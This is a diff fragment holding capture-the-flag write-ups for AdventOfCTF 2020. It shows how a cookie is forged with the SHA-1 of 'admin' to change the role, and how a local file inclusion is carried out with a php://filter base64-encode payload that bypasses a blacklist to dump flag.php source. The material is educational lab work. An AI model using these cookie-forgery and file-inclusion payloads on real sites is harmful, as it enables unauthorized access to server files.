+> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=
+```
+
+We changing the cookie to the new value we get.. nothing... After going back to the home page, we get the text of `/flag.php` so this is probably Local File Inclusion. Let's take another look at the `role`. I don't recognize the format so let's try our friend Google.
+
+It looks like it is the `SHA-1` hash of "user". We could try to replace the `role` with the `SHA-1` hash of "admin". We can use an online sha1 converter to do this. The output is `d033e22ae348aeb5660fc2140aec35850c4da997`. Now we base64 encode this and put it back into the cookie.
+
+```bash
+echo -n '{"page":"flag","role":"d033e22ae348aeb5660fc2140aec35850c4da997"}' | base64 -w 0
+> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiJkMDMzZTIyYWUzNDhhZWI1NjYwZmMyMTQwYWVjMzU4NTBjNGRhOTk3In0=
+```
+
+## Solution
+
+If we now reload the home page, we're greeted with the flag: `NOVI{LFI_1s_ask1ng_f0r_tr0bl3}`.
+
+This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#10-11).

content/writeups/adventofctf/2020/challenge_11.md

@@ -0,0 +1,157 @@
++++
+author = "Maik de Kruif"
+title = "Filter"
+subtitle = "Challenge 11 - AdventOfCTF"
+date = 2020-12-11T23:45:32+01:00
+description = "A writeup for challenge 11 of AdventOfCTF."
+cover = "img/writeups/adventofctf/2020/3542630bd0bb5141d94e4b40930bd69d.png"
+tags = [
+    "AdventOfCTF",
+    "challenge",
+    "ctf",
+    "hacking",
+    "writeup",
+    "web",
+    "php",
+]
+categories = [
+    "ctf",
+    "writeups",
+    "hacking",
+]
+aliases = [
+    "challenge_11"
+]
++++
+
+- Points: 1100
+
+## Description
+
+Santa's book of secrets has upgraded its security. All should be fine now. The flag is in flag.php.
+
+Visit <https://11.adventofctf.com> to start the challenge.
+
+## Finding the vulnerability
+
+When opening the challenge website, we get some text saying "there is only one person on the naughty list". As there is no visible input, we open devtools to have a look at the cookies or javascript. Here we find one cookie:
+
+```text
+zerooneone=eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0%3D
+```
+
+We'll get back to this later, let's first check the flag location provided in the challenge description [`flag.php`](https://11.adventofctf.com/flag.php). Upon opening it, we get a message: "Direct access not permitted". Quite useless for now.
+
+### Cookie
+
+The cookie value looks like a base64 encoded string, so let's try to decode it:
+
+```bash
+echo -n "eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0" | base64 -d
+> {"path":".","page":"main"}
+```
+
+The output is some JSON data with a path and a page. Let's try to change the page to `flag`.
+
+```bash
+echo -n '{"path":".","page":"flag"}' | base64 -w 0
+> eyJwYXRoIjoiLiIsInBhZ2UiOiJmbGFnIn0=
+```
+
+If we replace the cookie value with this new string and reload the page we get the following message: "Are you trying to get yourself on the naughty list? (no_direct_access)". Sadly we cannot read the flag directly, but this is a different message than the one we got earlier when reading the flag so it might be a different filter. Let's try to access a random page:
+
+```bash
+echo -n '{"path":".","page":"asd"}' | base64 -w 0
+> eyJwYXRoIjoiLiIsInBhZ2UiOiJhc2QifQ==
+```
+
+When loading the page with this new cookie we get some PHP warnings.
+
+### Local File Inclusion
+
+The error message we got was the following:
+
+```text
+Warning: include(./asd.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 76
+
+Warning: include(): Failed opening './asd.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 76
+```
+
+Hmm, it seems like it is directly including the input as the page with `.php` appended to it. As we saw earlier, directly accessing the flag didn't work but maybe if we use another path it does. As we know the document root path of the website, we can use the absolute path to the flag and try to access it that way:
+
+```bash
+echo -n '{"path":"/var/www/","page":"html/flag"}' | base64 -w 0
+> eyJwYXRoIjoiLiIsInBhZ2UiOiIvdmFyL3d3dy9odG1sL2ZsYWcifQ==
+```
+
+This time we get another message: "You are on the right page, but you cannot see what you want yet. Go get promoted!".
+
+### Promotion
+
+Go get promoted? I have not seen a way to get promoted... I tried adding extra variables to the JSON like `user` and `role` from previous challenges but nothing worked. Then, I remembered we've got local file inclusion and thus might have another way of reading the file.
+
+### Reading the file
+
+The reason we cannot get the file by just including it, is that it is a PHP file and the flag is probably a variable in it that is not printed. Because of this, the only way to get the flag would be by getting the source of `flag.php`.
+
+#### PHP Filters
+
+PHP has several filters that can be used to read or validate data. This includes [conversion filters](https://www.php.net/manual/en/filters.convert.php). The conversion filter can be used, for instance, convert a file to and from base64. This is exactly what we want as PHP will not thread base64 data as PHP.
+
+Let's try to use the `base64-encode` filter to encode the `flag.php` file to base64:
+
+```bash
+echo -n '{"path":"php://filter/convert.base64-encode/resource=/var/www/","page":"read=html/flag"}' | base64 -w 0
+> eyJwYXRoIjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy8iLCJwYWdlIjoicmVhZD1odG1sL2ZsYWcifQ==
+```
+
+Sadly, we didn't get the file. Instead we got another message: "Are you trying to get yourself on the naughty list? (blacklist)". It seems like the usage of filters is also blacklisted. After several attempts, I got it to work with the following input:
+
+```bash
+echo -n '{"path":"php://filter","page":"read=convert.base64-encode/resource=/var/www/html/flag"}' | base64 -w 0
+> eyJwYXRoIjoicGhwOi8vZmlsdGVyIiwicGFnZSI6InJlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZmxhZyJ9
+```
+
+It seems like the check only looks for `filter/convert` in the path and page separately instead of first joining them together as this time, we got some base64 encoded string as the output:
+
+```text
+PD9waHAKaWYoIWRlZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRlZCcpOwp9Cj8+Cgo8aDQ+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNob3dpbmcgdXA/PC9oND4KPD9waHAKCmlmICgkX0NPT0tJRVsiemVyb29uZW9uZSJdKSB7CiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbInplcm9vbmVvbmUiXSksIHRydWUpOwp9CgppZiAoZmFsc2UpIHsKPz4KICAgIDxwPgogICAgICAgIFRoZSBkYXJrIHNlY3JldCBvbiB0aGlzIHBhZ2UgaXM6IE5PVkl7TEZJX2FuZF9zdDFsbF95b3VfZjB1bmRfaXR9CiAgICA8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYXJlIG9uIHRoZSByaWdodCBwYWdlLCBidXQgeW91IGNhbm5vdCBzZWUgd2hhdCB5b3Ugd2FudCB5ZXQuIEdvIGdldCBwcm9tb3RlZCEKICAgIDwvcD4KPD9waHAKfQo/Pgo=
+```
+
+## Solution
+
+If we use the `base64` command again to decode this string we get the following:
+
+```php
+<?php
+if(!defined('MyConst')) {
+   die('Direct access not permitted');
+}
+?>
+
+<h4>Why does Egische keep showing up?</h4>
+<?php
+
+if ($_COOKIE["zerooneone"]) {
+    $data = json_decode(base64_decode($_COOKIE["zerooneone"]), true);
+}
+
+if (false) {
+?>
+    <p>
+        The dark secret on this page is: NOVI{LFI_and_st1ll_you_f0und_it}
+    </p>
+<?
+} else {
+?>
+    <p>
+        You are on the right page, but you cannot see what you want yet. Go get promoted!
+    </p>
+<?php
+}
+?>
+```
+
+It doesn't really look like valid PHP but, we got the flag! It is `NOVI{LFI_and_st1ll_you_f0und_it}`.
+
+This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#11-12).